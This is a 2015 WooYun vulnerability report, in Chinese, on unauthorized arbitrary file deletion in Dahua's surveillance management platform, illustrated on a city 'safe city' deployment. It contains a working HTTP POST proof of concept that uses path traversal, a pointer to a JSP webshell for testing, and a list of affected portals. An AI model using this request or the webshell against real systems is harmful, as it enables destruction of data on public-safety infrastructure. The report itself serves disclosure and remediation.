当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154066

漏洞标题:某综合监控管理平台配置不当未授权访问致任意文件删除(以某市平安城市为例)

相关厂商:浙江大华技术股份有限公司

漏洞作者: 路人甲

提交时间:2015-11-26 12:18

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-26: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

某综合监控管理平台配置不当未授权访问致任意文件删除(以某市平安城市为例)

详细说明:

浙江大华作为全国第二大的监控产品供应商和解决方案服务商,其产品在党政、公安、监狱、学校等占有很大的市场份额,top2的监控产品供应商的用户量可想而知了。
来看看存在本漏洞的部分案例吧,国家电网某站也中枪了(http://**.**.**.**/)
本次漏洞出现在浙江大华的“综合监控管理平台”上。
先说下这个漏洞吧:
平台配置不当导致本应该只有超级管理员可以访问的某文件删除接口被未授权访问,而该接口并未对用户输入的文件名进行严格的过滤,因此,文件名后缀可以是任意的,同时,可跳转目录,造成了任意文件删除漏洞。
下面整个过程都以 邵阳市平安城市 为例进行说明:**.**.**.**/
因为是任意文件删除漏洞,为了避免影响被测系统,这里给出一个webshell(菜刀一句话),在测试时,可先使用该shell在任意目录下新建或上传文件后,再进行删除测试。
**.**.**.**https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/admin/2015/10/-3541037853658285713.jsp adminjsp
该未授权访问的接口是http://xxxx/emap/bitmap/bitMap_delPicFromDisk.action
被删除文件的当前路径为: /opt/tomcat/webappshttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/emap/
Poc如下:

POST /emap/bitmap/bitMap_delPicFromDisk.action HTTP/1.1
Host: **.**.**.**
Content-Length: 22
Accept: */*
Origin: **.**.**.**
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: **.**.**.**/emap/admin.action?userId=1&act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,zh-TW;q=0.2
Cookie:
mapNames=/../test.html


当返回为1时,表示删除成功。如下图

删除漏洞.JPG


部分案例:

**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**:8081/portal/login_init.action
**.**.**.**:8081/portal/login_init.action
**.**.**.**:8080/portal/login_init.action
**.**.**.**:8080/portal/login_init.action
**.**.**.**:8000/portal/login_init.action
**.**.**.**:88/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:88/portal/login_init.action
**.**.**.**:88/portal/login_init.action
**.**.**.**:88/portal/login_init.action
**.**.**.**:88/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**:81/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action
**.**.**.**/portal/login_init.action

漏洞证明:

见 详细说明

修复方案:

限制访问权限
过滤用户输入

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-11-30 10:54

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价